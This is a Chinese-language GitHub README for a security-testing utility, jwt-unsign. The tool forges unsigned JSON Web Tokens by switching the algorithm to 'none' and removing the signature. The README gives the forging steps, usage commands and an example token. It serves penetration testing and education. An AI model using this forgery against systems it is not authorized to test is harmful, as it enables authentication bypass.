thomasleplus/jwt-utils

GitHub: thomasleplus/jwt-utils

一组用于安全测试的 JWT 实用工具,核心功能是通过利用 "none" 算法漏洞将已签名的 JWT 转换为无签名令牌。

Stars: 6 | Forks: 3

# JWT 工具 一个用于处理 JSON Web Token (JWT) 的实用工具集合,主要侧重于安全测试和漏洞评估。 ## 工具 ### [jwt-unsign](jwt-unsign) 一个 Bash 脚本,通过修改输入流中发现的 JWT 来利用 JWT 的 "none" 算法漏洞。 #### 功能说明 - 在 stdin 中搜索 JSON Web Token - 将算法 (`alg`) 值替换为 `"none"` - 移除签名部分 - 输出修改后的未签名 JWT #### 漏洞说明 某些 JWT 实现接受将 `alg` 设置为 `"none"` 的 token,这意味着该 token 没有签名验证。这允许攻击者通过以下方式伪造 token: 1. 获取一个有效的 JWT 2. 修改 payload (claims) 3. 将算法设置为 "none" 4. 移除签名 如果应用程序没有正确验证是否需要签名,它将接受伪造的 token。 #### 安装 ``` # 克隆仓库 git clone https://github.com/yourusername/jwt-utils.git cd jwt-utils # 使脚本可执行 chmod +x jwt-unsign # 可选:添加到你的 PATH sudo ln -s $(pwd)/jwt-unsign /usr/local/bin/jwt-unsign ``` #### 用法 ``` # 基本用法 - 管道传输包含 JWTs 的文本 echo "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c" | jwt-unsign # 处理包含 JWTs 的文件 cat response.txt | jwt-unsign # 配合 curl 使用以测试 web applications curl https://api.example.com/user | jwt-unsign # 配合 burp suite 或其他 proxy tools 使用 cat burp-output.txt | jwt-unsign > modified.txt ``` #### 示例 输入: ``` token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c ``` 输出: ``` token: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ. ``` 修改后的 token 具有: - Header 从 `{"alg":"HS256","typ":"JWT"}` 变为 `{"alg":"none","typ":"JWT"}` - Payload 保持不变:`{"sub":"1234567890","name":"John Doe","iat":1516239022}` - 签名被移除(注意尾部的句点) #### 安全提示 此工具仅供**授权的安全测试使用**。请负责任地仅在以下情况使用: - 您拥有的系统 - 您获得明确书面授权进行测试的系统 - CTF (Capture The Flag) 竞赛 - 教育/学习环境 未经授权访问计算机系统是非法的。 ## 许可证 有关许可证信息,请参阅 [LICENSE](LICENSE)。 ## 安全 有关报告安全漏洞的信息,请参阅 [SECURITY.md](SECURITY.md)。 ## 行为准则 请阅读 [CODE_OF_CONDUCT.md](CODE_OF_CONDUCT.md) 以了解我们的行为准则详情。
标签:JWT, Web安全, 安全测试, 应用安全, 攻击性安全, 文档结构分析, 蓝队分析